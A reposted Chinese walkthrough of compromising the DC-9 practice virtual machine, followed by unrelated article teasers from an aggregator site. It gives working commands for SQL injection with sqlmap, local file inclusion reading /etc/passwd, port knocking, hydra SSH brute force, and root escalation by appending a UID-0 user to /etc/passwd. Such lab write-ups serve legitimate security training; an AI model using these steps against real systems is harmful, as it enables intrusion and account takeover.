内网渗透-DC-9靶机渗透

攻击机:kali 192.168.236.137

目标机:dc-9 192.168.236.138

一、信息收集
1.使用arp-scan -l和nmap进行主机发现和端口信息收集

nmap -sS -T5 --min-rate 10000 192.168.236.138 -sC -p-

发现22端口被阻塞

2.whatweb收集一下cms指纹信息

what http://192.168.236.138

3.访问web界面,找一找,发现search这个地方可以查询信息

这意味着与数据库产生交互,可能会有注入

尝试一下,'or 1=1 --+

这是一个sql注入,查看源码发现跳转界面是results.php,表单name为search

二、SQL注入

1.使用sqlmap -u "http://192.168.236.138/results.php" --data "search=1" --dbs 爆库名

2.使用sqlmap -u "http://192.168.236.138/results.php" --data "search=1" -D Staff -T Users --dump字段内容

爆出一个用户名和密码

admin:transorbitall

3.爆另一个库中的表的字段内容

4.使用admin登陆web界面,发现file does not exist(有可能存在文件包含)

三、文件包含(LFI)漏洞

猜测文件包含参数为file,

可以通过burp爆破一下

也可以通过FUZZ爆破

wfuzz -b 'PHPSESSID=4a2q7go730gbc8g8crv5q67l95' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.236.138/manage.php?FUZZ=index.php

过滤

wfuzz --hw 100 -b 'PHPSESSID=4a2q7go730gbc8g8crv5q67l95' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.236.138/manage.php?FUZZ=index.php

1.不知道在哪一层,直接填满,使用../../../../../../../切一下路径../../../../../etc/passwd

端口保护之端口敲门(knock)

就是按一定的顺序访问端口可以达到开启和关闭某个端口的机制

3.端口敲门这个文件路径一定在/etc/konckd.conf

http://192.168.236.138/welcome.php?file=../../../../../../../../../../../../../etc/konckd.conf

4 依次使用nc或者nmap敲门

nmap再次扫描一下发现22端口开放了

6.使用之前得到的用户名和密码去爆破ssh服务(使用九头蛇hydra)

hydra -L username.txt(之前爆出的一堆用户名) -P password.txt(之前爆出的一堆密码) 192.168.236.138 ssh

7.使用janitor登陆,发现了一个密码文件

8 猜测是密码,放到之前密码文件里再次爆破,得到一个新用户

9.使用新用户登录,发现sudo -l可以使用,得到了一个可以以root身份执行的脚本

四、准备提权

1.根据提示找到脚本的位置,然后再它的前几级目录发现了它是一个python脚本,和它的使用方法

把第一个参数的内容追加到第二的参数中

2 使用openssl passwd -1 -salt admin 123456,生成一个加密的密码

3.按照/etc/passwd的格式写一个文件,通过test脚本追加到/etc/passwd中即可提权

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

成功提权

得到flag

参考链接:

DC-9靶机渗透_在对靶场dc-9的渗透测试中攻击目标是什么-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/715374.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue开发实例(七)Axios的安装与使用

说明: 如果只是在前端,axios常常需要结合mockjs使用,如果是前后端分离,就需要调用对应的接口,获取参数,传递参数;由于此文章只涉及前端,所以我们需要结合mockjs使用;由于…

《热辣滚烫》:用坚持不懈开启逆境中的职场出路

"你只活一次,所以被嘲笑也没有关系,想哭也没有关系,失败更没有关系。" “人生就像一场拳击赛,你站不起来,就永远不知道自己有多强” “命运只负责洗牌,出牌的永远是自己。” 在今年的贺岁档电影市…

云时代【6】—— 镜像 与 容器

云时代【6】—— 镜像 与 容器 四、Docker(三)镜像 与 容器1. 镜像(1)定义(2)相关指令(3)实战演习镜像容器基本操作离线迁移镜像镜像的压缩与共享 2. 容器(1)…

为什么模电这么难学?这是我见过最好的回答

大家好,我是砖一,有很多人抱怨模电难学,被誉为电子信息挂科率最高之一,下面听我分析一下为啥模电这么难学? 01 理科的抽象思维 在高等教育体系中,模电是涉及半导体方向的第一门工程类课程,是一…

2024年3月5-7日年生物发酵装备展-环科环保科技

参展企业介绍 山东环科环保科技有限公司,是一家集环保设备的设计、制造、安装、服务及环境治理工程总承包于一体的企业。 公司长期专注于大气、水、危固废三大领域,以科技创造碧水蓝天,为客户提供环保解决方案。 以稳定的产品及服务质量、适用的技术、…

【环境搭建】linux centos7安装mosquitto消息代理软件操作步骤以及遇到问题日常记录

最近需要用到mqtt, 选择安装mosquitto。由于安装mosquitto花了我一点时间,简单记录下。安装环境是linux centos7, 其他像windows、mac或者ubuntu 参考下 https://mosquitto.org/download/ 英文官网,或者别人写的文章。 服务器…

微型世界:嵌入式科技的无限可能

微型世界:嵌入式科技的无限可能 1. 嵌入式科技的定义与特点 定义:嵌入式科技是一种特殊的计算机系统,通常用于特定的应用领域,如智能手机、智能家居设备等。特点:小巧、低功耗、高效率、实时性强、可靠性高、成本较低…

洛谷题单_搜索

P1219 [USACO1.5] 八皇后 Checker Challenge - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) #include <bits/stdc.h> using namespace std; const int N14; int n,ans0; int a[N][N]{},vis[N][N]{}; vector<int>rcd(n1); void dfs(int dep){if(depn1){if(ans<…

有道QAnything背后的故事---关于RAG的一点经验分享

近日&#xff0c;我们开源了有道自研的RAG&#xff08;Retrieval Augmented Generation) 引擎QAnything。该引擎允许用户上传PDF、图片、Word、Excel、PowerPoint等多种格式的文档&#xff0c;并实现类似于ChatGPT的互动问答功能&#xff0c;其中每个答案都能精确追溯到相应的文…

了解Spring中Bean:配置与作用域

作为一名对技术充满热情的学习者&#xff0c;我一直以来都深刻地体会到知识的广度和深度。在这个不断演变的数字时代&#xff0c;我远非专家&#xff0c;而是一位不断追求进步的旅行者。通过这篇博客&#xff0c;我想分享我在某个领域的学习经验&#xff0c;与大家共同探讨、共…

递归回溯剪枝-括号生成

LCR 085. 括号生成 - 力扣&#xff08;LeetCode&#xff09; 一. 根据题意&#xff0c;分析出符合要求的括号组合需要满足以下两个条件&#xff1a; 1. 左括号数或者右括号数都不能超过 n&#xff1b; 2. 从最左侧开始的每一个子集&#xff0c;不可以出现右括号数大于左括号数&…

CF 1934B

冗长的代码&#xff08;枚举解法&#xff09; #include<bits/stdc.h>using namespace std;void solve() {int n;cin>>n;if(n1||n3||n6||n10||n15){cout<<1<<endl;return;}int cnt0;if(n>100){int tempn/15;if(temp>6){n-(temp-6)*15;cnttemp-6;…

算法复习之前缀和【备战蓝桥杯】

一维前缀和 S[i] a[1] a[2] ... a[i] a[l] ... a[r] S[r] - S[l - 1]二维前缀和 S[i, j] 第i行j列格子左上部分所有元素的和 以(x1, y1)为左上角&#xff0c;(x2, y2)为右下角的子矩阵的和为&#xff1a; S[x2, y2] - S[x1 - 1, y2] - S[x2, y1 - 1] S[x1 - 1, y1 - …

中国电子学会(CEIT)2020年06月真题C语言软件编程等级考试四级(含详细解析答案)

中国电子学会&#xff08;CEIT&#xff09;考评中心历届真题&#xff08;含详细解析答案&#xff09; C语言软件编程等级考试四级 2020年06月 编程题四道 总分:100分一、最长上升子序列&#xff08;25分&#xff09; 一个数的序列bi&#xff0c;当b1 < b2< … &l…

长期可用的文件二维码怎么做?在线制作可修改的文件活码

怎么做一个可以长期使用的文件二维码呢&#xff1f;现在通过二维码来传递文件是很流行的一种方式&#xff0c;将文件生成二维码后印刷上墙或者分享给他人都可以快速完成文件的传播&#xff0c;所以在下发通知、资料等方面用途较多。那么文件二维码该如何生成呢&#xff1f; 想…

Linux内存地址空间

目录 一、虚拟地址空间 1.虚拟地址空间的定义 2.虚拟地址空间的布局 二、内存壁垒 1.内存壁垒的定义​编辑 2.段错误 三、内存映射的建立与解除 &#xff08;1&#xff09;mmap &#xff08;2&#xff09;munmap &#xff08;3&#xff09;堆内存的分配和释放 1.sbrk …

Android13 设置固定热点ip地址192.168.43.1

Android13 设置固定热点ip地址192.168.43.1 文章目录 Android13 设置固定热点ip地址192.168.43.1一、前言二、设置固定ip地址实现1、Android13 代码中的实现&#xff1a;添加属性写法&#xff1a; 2、Android11 或者更旧的代码中的实现&#xff1a; 三、其他1、Android 代码获连…

Python中学习调试requests模块时出现的大坑(1)

为防止迷路: 学习机械相关,请关注公众号:南大盛联 学习软件,硬件,请关注公众号号:一训微课 cmd模式下 不知道上面这行的话,需要补课。 pip install requests 这个不知道的话,也要补课 pip是python的安装工具。 install是安装的意思 requests是我们需要安装的模…

HTML超链接去下划线

当在HTML中创建超链接时&#xff0c;默认情况下会显示为带有下划线的蓝色文本。如果想要去掉下划线&#xff0c;可以使用CSS样式来实现。 示例代码&#xff1a; <!DOCTYPE html> <html> <head> <style> a {text-decoration: none;color: blue; /* 设…

微信小程序 --- 事件处理

事件处理 一个应用仅仅只有界面展示是不够的&#xff0c;还需要和用户做交互&#xff0c;例如&#xff1a;响应用户的点击、获取用户输入的值等等&#xff0c;在小程序里边&#xff0c;我们就通过编写 JS 脚本文件来处理用户的操作 1. 事件绑定和事件对象 小程序中绑定事件与…